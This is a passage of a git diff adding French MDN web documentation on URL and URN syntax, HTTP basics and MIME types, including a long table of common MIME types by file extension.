id="URLs_et_URNs">URLs et URNs</h2> + +<h3 id="URLs">URLs</h3> + +<p>La forme la plus commune des URI est l'URL (<em>Uniform Resource Locator</em> ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.</p> + +<pre>https://developer.mozilla.org +https://developer.mozilla.org/fr/docs/Learn/ +https://developer.mozilla.org/fr/search?q=URL</pre> + +<p>Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).</p> + +<p>Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :</p> + +<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument</pre> + +<h3 id="URNs">URNs</h3> + +<p>Une URN ou <em>Uniform Resource Name</em> est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.</p> + +<pre>urn:isbn:9780141036144 +urn:ietf:rfc:7230 +</pre> + +<p>Ces deux URNs correspondent :</p> + +<ul> + <li>au livre 1984 de George Orwell,</li> + <li>La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.</li> +</ul> + +<h2 id="Syntaxe_des_URIs_(Uniform_Resource_Identifiers)">Syntaxe des URIs (Uniform Resource Identifiers)</h2> + +<h3 id="Schéma_ou_protocole">Schéma ou protocole</h3> + +<dl> + <dt><img alt="Protocole" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>http://</code> constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que <code>mailto:</code> (pour ouvrir un client mail) or <code>ftp:</code> pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :</dd> +</dl> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Schéma</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>data</td> + <td><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de données</a></td> + </tr> + <tr> + <td>file</td> + <td>Fichiers du système hôte sur lequel est installé le navigateur</td> + </tr> + <tr> + <td>ftp</td> + <td><a href="/fr/docs/Glossary/FTP">File Transfer Protocol</a></td> + </tr> + <tr> + <td>http/https</td> + <td><a href="/fr/docs/Glossary/HTTP">Hyper text transfer protocol (sécurisé)</a></td> + </tr> + <tr> + <td>mailto</td> + <td>Adresse électronique</td> + </tr> + <tr> + <td>ssh</td> + <td>Secure shell</td> + </tr> + <tr> + <td>tel</td> + <td>téléphone</td> + </tr> + <tr> + <td>urn</td> + <td>Uniform Resource Names</td> + </tr> + <tr> + <td>view-source</td> + <td>code source de la ressource</td> + </tr> + <tr> + <td>ws/wss</td> + <td>connexions (chiffrées) <a href="/fr/docs/Web/API/WebSockets_API">WebSocket</a></td> + </tr> + </tbody> +</table> + +<h3 id="Autorité">Autorité</h3> + +<dl> + <dt><img alt="Nom de domaine" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>www.exemple.com</code> est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.</dd> +</dl> + +<h3 id="Port">Port</h3> + +<dl> + <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>:80</code> constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.</dd> +</dl> + +<h3 id="Chemin">Chemin</h3> + +<dl> + <dt><img alt="Chemin d'accès au fichier" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>/chemin/du/fichier.html</code> constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..</dd> +</dl> + +<h3 id="Requête">Requête</h3> + +<dl> + <dt><img alt="Paramètre" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>?key1=value1&key2=value2</code> sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole <code>&</code>. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.</dd> +</dl> + +<h3 id="Fragment">Fragment</h3> + +<dl> + <dt><img alt="Ancre" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>#QuelquePartDansLeDocument</code> est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>https://developer.mozilla.org/en-US/docs/Learn +tel:+1-816-555-1212 +git@github.com:mdn/browser-compat-data.git +ftp://example.org/resource.txt +urn:isbn:9780141036144 +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Learn/Common_questions/What_is_a_URL">Qu'est-ce qu'une URL ?</a></li> + <li><a href="https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">La liste des différents schémas des URIs, maintenue par l'IANA</a></li> +</ul> diff --git a/files/fr/web/http/basics_of_http/index.html b/files/fr/web/http/basics_of_http/index.html new file mode 100644 index 0000000000..0276210a16 --- /dev/null +++ b/files/fr/web/http/basics_of_http/index.html @@ -0,0 +1,48 @@ +--- +title: L'essentiel de HTTP +slug: Web/HTTP/Basics_of_HTTP +tags: + - Aperçu + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes HTTP.</p> + +<h2 id="Articles">Articles</h2> + +<dl> + <dt><a href="/fr/docs/Web/HTTP/Overview">Vue d'ensemble de HTTP</a></dt> + <dd>Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles.</dd> + <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Évolution de HTTP</a></dt> + <dd>HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées.</dd> + <dt><strong>Négocier une version HTTP</strong></dt> + <dd>Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole.</dd> + <dt><a href="/fr/docs/Web/HTTP/Resources_and_URIs">Ressources et URIs</a></dt> + <dd>Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web.</dd> + <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le web</a></dt> + <dd>Décrit comment les ressources web sont référencées et comment les localiser.</dd> + <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de données</a></dt> + <dd>Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde.</dd> + <dt>URLs de ressources</dt> + <dd>Les URLs de ressources, qui sont préfixées par le schéma <code>resource:</code> sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte.</dd> + <dt>Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service)</dt> + <dd>La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}.</dd> + <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">Types MIME</a></dt> + <dd>Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME.</dd> + <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choisir entre des URL de type www ou non</a></dt> + <dd>Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix.</dd> + <dt>Flux d'une session HTTP</dt> + <dd>Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ...</dd> + <dt><a href="/fr/docs/Web/HTTP/Messages">Messages HTTP</a></dt> + <dd>Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre.</dd> + <dt>Trame et structure de message en HTTP/2</dt> + <dd>HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée.</dd> + <dt><a href="/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Gestion des connexions en HTTP/1.x</a></dt> + <dd>HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts.</dd> + <dt>Gestion des connexions en HTTP/2</dt> + <dd>HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions.</dd> + <dt><a href="/fr/docs/Web/HTTP/Content_negotiation">Négociation du contenu</a></dt> + <dd>HTTP introduit une série d'en-têtes commençant par <code>Accept-</code> permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible.</dd> +</dl> diff --git a/files/fr/web/http/basics_of_http/mime_types/common_types/index.html b/files/fr/web/http/basics_of_http/mime_types/common_types/index.html new file mode 100644 index 0000000000..0fd192adb2 --- /dev/null +++ b/files/fr/web/http/basics_of_http/mime_types/common_types/index.html @@ -0,0 +1,356 @@ +--- +title: Liste des types MIME communs +slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +tags: + - Audio + - HTTP + - Reference + - Types MIME + - Video +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +<div>{{HTTPSidebar}}</div> + +<p>Voici une liste de types MIME, associés par type et ordonnée par extension.</p> + +<p>Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut :</p> + +<ul> + <li><code>text/plain</code> est le type MIME par défaut pour les fichiers texte. Un fichier texte doit pouvoir être lu par un utilisateur et ne pas contenir de données binaires.</li> + <li><code>application/octet-stream</code> est le type MIME par défaut dans tous les autres cas. Un fichier de type inconnu doit être associé à ce type MIME. Les navigateurs traiteront les fichiers associés à ce type MIME de façon particulière pour protéger au maximum l'utilisateur des éventuels risques de sécurité.</li> +</ul> + +<p>L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">https://www.iana.org/assignments/media-types/media-types.xhtml</a>. La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, <strong>elle n'est donc pas exhaustive :</strong></p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Extension</th> + <th scope="col">Type de document</th> + <th scope="col">Type MIME</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>.aac</code></td> + <td>fichier audio AAC</td> + <td><code>audio/aac</code></td> + </tr> + <tr> + <td><code>.abw</code></td> + <td>document <a href="https://fr.wikipedia.org/wiki/AbiWord">AbiWord</a></td> + <td><code>application/x-abiword</code></td> + </tr> + <tr> + <td><code>.arc</code></td> + <td>archive (contenant plusieurs fichiers)</td> + <td><code>application/octet-stream</code></td> + </tr> + <tr> + <td><code>.avi</code></td> + <td>AVI : Audio Video Interleave</td> + <td><code>video/x-msvideo</code></td> + </tr> + <tr> + <td><code>.azw</code></td> + <td>format pour eBook Amazon Kindle</td> + <td><code>application/vnd.amazon.ebook</code></td> + </tr> + <tr> + <td><code>.bin</code></td> + <td>n'importe quelle donnée binaire</td> + <td><code>application/octet-stream</code></td> + </tr> + <tr> + <td><code>.bmp</code></td> + <td>Images bitmap Windows OS/2</td> + <td><code>image/bmp</code></td> + </tr> + <tr> + <td><code>.bz</code></td> + <td>archive BZip</td> + <td><code>application/x-bzip</code></td> + </tr> + <tr> + <td><code>.bz2</code></td> + <td>archive BZip2</td> + <td><code>application/x-bzip2</code></td> + </tr> + <tr> + <td><code>.csh</code></td> + <td>script C-Shell</td> + <td><code>application/x-csh</code></td> + </tr> + <tr> + <td><code>.css</code></td> + <td>fichier Cascading Style Sheets (CSS)</td> + <td><code>text/css</code></td> + </tr> + <tr> + <td><code>.csv</code></td> + <td>fichier Comma-separated values (CSV)</td> + <td><code>text/csv</code></td> + </tr> + <tr> + <td><code>.doc</code></td> + <td>Microsoft Word</td> + <td><code>application/msword</code></td> + </tr> + <tr> + <td><code>.docx</code></td> + <td>Microsoft Word (OpenXML)</td> + <td><code>application/vnd.openxmlformats-officedocument.wordprocessingml.document</code></td> + </tr> + <tr> + <td><code>.eot</code></td> + <td>police MS Embedded OpenType</td> + <td><code>application/vnd.ms-fontobject</code></td> + </tr> + <tr> + <td><code>.epub</code></td> + <td>fichier Electronic publication (EPUB)</td> + <td><code>application/epub+zip</code></td> + </tr> + <tr> + <td><code>.gif</code></td> + <td>fichier Graphics Interchange Format (GIF)</td> + <td><code>image/gif</code></td> + </tr> + <tr> + <td><code>.htm<br> + .html</code></td> + <td>fichier HyperText Markup Language (HTML)</td> + <td><code>text/html</code></td> + </tr> + <tr> + <td><code>.ico</code></td> + <td>icône</td> + <td><code>image/x-icon</code></td> + </tr> + <tr> + <td><code>.ics</code></td> + <td>élément iCalendar</td> + <td><code>text/calendar</code></td> + </tr> + <tr> + <td><code>.jar</code></td> + <td>archive Java (JAR)</td> + <td><code>application/java-archive</code></td> + </tr> + <tr> + <td><code>.jpeg</code><br> + <code>.jpg</code></td> + <td>image JPEG</td> + <td><code>image/jpeg</code></td> + </tr> + <tr> + <td><code>.js</code></td> + <td>JavaScript (ECMAScript)</td> + <td><code>application/javascript</code></td> + </tr> + <tr> + <td><code>.json</code></td> + <td>donnée au format JSON</td> + <td><code>application/json</code></td> + </tr> + <tr> + <td><code>.mid</code><br> + <code>.midi</code></td> + <td>fichier audio Musical Instrument Digital Interface (MIDI)</td> + <td><code>audio/midi</code></td> + </tr> + <tr> + <td><code>.mpeg</code></td> + <td>vidéo MPEG</td> + <td><code>video/mpeg</code></td> + </tr> + <tr> + <td><code>.mpkg</code></td> + <td>paquet Apple Installer</td> + <td><code>application/vnd.apple.installer+xml</code></td> + </tr> + <tr> + <td><code>.odp</code></td> + <td>présentation OpenDocument</td> + <td><code>application/vnd.oasis.opendocument.presentation</code></td> + </tr> + <tr> + <td><code>.ods</code></td> + <td>feuille de calcul OpenDocument</td> + <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td> + </tr> + <tr> + <td><code>.odt</code></td> + <td>document texte OpenDocument</td> + <td><code>application/vnd.oasis.opendocument.text</code></td> + </tr> + <tr> + <td><code>.oga</code></td> + <td>fichier audio OGG</td> + <td><code>audio/ogg</code></td> + </tr> + <tr> + <td><code>.ogv</code></td> + <td>fichier vidéo OGG</td> + <td><code>video/ogg</code></td> + </tr> + <tr> + <td><code>.ogx</code></td> + <td>OGG</td> + <td><code>application/ogg</code></td> + </tr> + <tr> + <td><code>.otf</code></td> + <td>police OpenType</td> + <td><code>font/otf</code></td> + </tr> + <tr> + <td><code>.png</code></td> + <td>fichier Portable Network Graphics</td> + <td><code>image/png</code></td> + </tr> + <tr> + <td><code>.pdf</code></td> + <td>Adobe Portable Document Format (PDF)</td> + <td><code>application/pdf</code></td> + </tr> + <tr> + <td><code>.ppt</code></td> + <td>présentation Microsoft PowerPoint</td> + <td><code>application/vnd.ms-powerpoint</code></td> + </tr> + <tr> + <td><code>.pptx</code></td> + <td>présentation Microsoft PowerPoint (OpenXML)</td> + <td><code>application/vnd.openxmlformats-officedocument.presentationml.presentation</code></td> + </tr> + <tr> + <td><code>.rar</code></td> + <td>archive RAR</td> + <td><code>application/x-rar-compressed</code></td> + </tr> + <tr> + <td><code>.rtf</code></td> + <td>Rich Text Format (RTF)</td> + <td><code>application/rtf</code></td> + </tr> + <tr> + <td><code>.sh</code></td> + <td>script shell</td> + <td><code>application/x-sh</code></td> + </tr> + <tr> + <td><code>.svg</code></td> + <td>fichier Scalable Vector Graphics (SVG)</td> + <td><code>image/svg+xml</code></td> + </tr> + <tr> + <td><code>.swf</code></td> + <td>fichier <a href="https://fr.wikipedia.org/wiki/Small_Web_Format">Small web format</a> (SWF) ou Adobe Flash</td> + <td><code>application/x-shockwave-flash</code></td> + </tr> + <tr> + <td><code>.tar</code></td> + <td>fichier d'archive Tape Archive (TAR)</td> + <td><code>application/x-tar</code></td> + </tr> + <tr> + <td><code>.tif<br> + .tiff</code></td> + <td>image au format Tagged Image File Format (TIFF)</td> + <td><code>image/tiff</code></td> + </tr> + <tr> + <td><code>.ts</code></td> + <td>fichier Typescript</td> + <td><code>application/typescript</code></td> + </tr> + <tr> + <td><code>.ttf</code></td> + <td>police TrueType</td> + <td><code>font/ttf</code></td> + </tr> + <tr> + <td><code>.vsd</code></td> + <td>Microsoft Visio</td> + <td><code>application/vnd.visio</code></td> + </tr> + <tr> + <td><code>.wav</code></td> + <td>Waveform Audio Format</td> + <td><code>audio/x-wav</code></td> + </tr> + <tr> + <td><code>.weba</code></td> + <td>fichier audio WEBM</td> + <td><code>audio/webm</code></td> + </tr> + <tr> + <td><code>.webm</code></td> + <td>fichier vidéo WEBM</td> + <td><code>video/webm</code></td> + </tr> + <tr> + <td><code>.webp</code></td> + <td>image WEBP</td> + <td><code>image/webp</code></td> + </tr> + <tr> + <td><code>.woff</code></td> + <td>police Web Open Font Format (WOFF)</td> + <td><code>font/woff</code></td> + </tr> + <tr> + <td><code>.woff2</code></td> + <td>police Web Open Font Format (WOFF)</td> + <td><code>font/woff2</code></td> + </tr> + <tr> + <td><code>.xhtml</code></td> + <td>XHTML</td> + <td><code>application/xhtml+xml</code></td> + </tr> + <tr> + <td><code>.xls</code></td> + <td>Microsoft Excel</td> + <td><code>application/vnd.ms-excel</code></td> + </tr> + <tr> + <td><code>.xlsx</code></td> + <td>Microsoft Excel (OpenXML)</td> + <td><code>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code></td> + </tr> + <tr> + <td><code>.xml</code></td> + <td><code>XML</code></td> + <td><code>application/xml</code></td> + </tr> + <tr> + <td><code>.xul</code></td> + <td>XUL</td> + <td><code>application/vnd.mozilla.xul+xml</code></td> + </tr> + <tr> + <td><code>.zip</code></td> + <td>archive ZIP</td> + <td><code>application/zip</code></td> + </tr> + <tr> + <td><code>.3gp</code></td> + <td>conteneur audio/vidéo <a href="https://fr.wikipedia.org/wiki/3GP">3GPP</a></td> + <td><code>video/3gpp</code><br> + <code>audio/3gpp</code> dans le cas où le conteneur ne comprend pas de vidéo</td> + </tr> + <tr> + <td><code>.3g2</code></td> + <td>conteneur audio/vidéo <a href="https://fr.wikipedia.org/wiki/3GP">3GPP2</a></td> + <td><code>video/3gpp2</code><br> + <code>audio/3gpp2</code> dans le cas où le conteneur ne comprend pas de vidéo</td> + </tr> + <tr> + <td><code>.7z</code></td> + <td>archive <a href="https://fr.wikipedia.org/wiki/7-Zip">7-zip</a></td> + <td><code>application/x-7z-compressed</code></td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/basics_of_http/mime_types/index.html b/files/fr/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..e114c7584f --- /dev/null +++ b/files/fr/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,318 @@ +--- +title: Types MIME +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - Content-Type + - Guide + - HTTP + - Types MIME +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +<div>{{HTTPSidebar}}</div> + +<p>Le <strong>type Multipurpose Internet Mail Extensions (type MIME)</strong> est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la <a href="https://tools.ietf.org/html/rfc6838">RFC 6838</a>. L'<a href="https://www.iana.org/">Internet Assigned Numbers Authority (IANA)</a> est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">page Media Types de l'IANA</a>.</p> + +<p>Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient.</p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<h3 id="Structure_générale">Structure générale</h3> + +<pre class="syntaxbox">type/sous-type</pre> + +<p>La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un <code>'/'</code>. Les caractères d'espacement ne sont pas autorisés. Le <em>type</em> représente la catégorie et peut être <em>particulier</em> ou <em>composé</em> lorsqu'il regroupe plusieurs formats. Le <em>sous-type</em> est spécifique à chaque type.</p> + +<p>Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule.</p> + +<h3 id="Types_particuliers">Types particuliers</h3> + +<pre class="syntaxbox">text/plain +text/html +image/jpeg +image/png +audio/mpeg +audio/ogg +audio/* +video/mp4 +application/octet-stream +…</pre> + +<p>Les types <em>particuliers</em> indiquent la catégorie d'un document. Les valeurs possibles sont :</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Type</th> + <th scope="col">Description</th> + <th scope="col">Exemple de sous-type communément associé</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>text</code></td> + <td>Représente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur.</td> + <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td> + </tr> + <tr> + <td><code>image</code></td> + <td>Représente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type.</td> + <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td> + </tr> + <tr> + <td><code>audio</code></td> + <td>Représente n'importe quel fichier audio.</td> + <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td> + </tr> + <tr> + <td><code>video</code></td> + <td>Représente n'importe quel fichier vidéo.</td> + <td><code>video/webm</code>, <code>video/ogg</code></td> + </tr> + <tr> + <td><code>application</code></td> + <td>Représente n'importe quelle donnée binaire.</td> + <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>, <code>application/pdf</code></td> + </tr> + </tbody> +</table> + +<p><code>text/plain</code> doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser <code>application/octet-stream</code>.</p> + +<h3 id="Types_composés_ou_multipart">Types composés ou <em>multipart</em></h3> + +<pre class="syntaxbox">multipart/form-data +multipart/byteranges</pre> + +<p id="sect1">Les types composés, aussi appelés types <em>multipart</em> indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de <code>multipart/form-data</code>, utilisé en association avec des <a href="/fr/docs/Web/Guide/HTML/Forms">formulaires HTML</a> et la méthode {{HTTPMethod("POST")}} et de <code>multipart/byteranges</code>, utilisé avec le statut HTTP {{HTTPStatus("206")}} <code>Partial Content</code> renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet.</p> + +<h2 id="Types_MIME_utiles_pour_les_développeurs_web">Types MIME utiles pour les développeurs web</h2> + +<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3> + +<p>Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie <em>fichier binaire inconnu</em> il est probable que les navigateurs ne l'exécutent pas automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur <code>attachment</code> et proposera une invite "Enregistrer sous".</p> + +<h3 id="textplain"><code>text/plain</code></h3> + +<p>Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher.</p> + +<div class="note"> +<p>Il est important de noter que <code>text/plain</code> ne signifie pas <em>tous les formats de fichiers textuels</em>. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type <code>text/plain</code> ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier <code>text/plain</code> à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant <code>text/css</code>.</p> +</div> + +<h3 id="textcss"><code>text/css</code></h3> + +<p>N'importe quel fichier CSS qui doit être interprété comme pour servir une page web <strong> doit</strong> être de type <code>text/css</code>. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension <code>.css</code> comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME <code>text/plain</code> ou <code>application/octet-stream</code>. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié.</p> + +<h3 id="texthtml"><code>text/html</code></h3> + +<p>L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme <code>application/xml+html)</code> ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats).</p> + +<h3 id="Formats_dimages">Formats d'images</h3> + +<p>Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web :</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Type MIME</th> + <th scope="col">Format d'image</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>image/gif</code></td> + <td>images GIF (compression sans perte, remplacé par PNG)</td> + </tr> + <tr> + <td><code>image/jpeg</code></td> + <td>images JPEG</td> + </tr> + <tr> + <td><code>image/png</code></td> + <td>images PNG</td> + </tr> + <tr> + <td><code>image/svg+xml</code></td> + <td>images SVG (images vectorielles)</td> + </tr> + </tbody> +</table> + +<p>Il y a un débat quant à l'ajout de WebP (<code>image/webp</code>) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer.</p> + +<p>D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME <code>image/x-icon</code>.</p> + +<h3 id="Formats_audios_et_vidéos">Formats audios et vidéos</h3> + +<p>Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page <a href="/fr/docs/Web/HTML/Supported_media_formats">Formats pris en charge par les balises audio et video</a> détaille les codecs et les formats qui peuvent être employés.</p> + +<p>Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont :</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Type MIME</th> + <th scope="col">Format audio et vidéo</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>audio/wave</code><br> + <code>audio/wav</code><br> + <code>audio/x-wav</code><br> + <code>audio/x-pn-wav</code></td> + <td>Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent pris en charge tandis que les autres codecs offrent une prise en charge moindre (lorsqu'elle existe).</td> + </tr> + <tr> + <td><code>audio/webm</code></td> + <td>Un fichier audio WebM. Les codecs les plus fréquemment associés sont Vorbis et 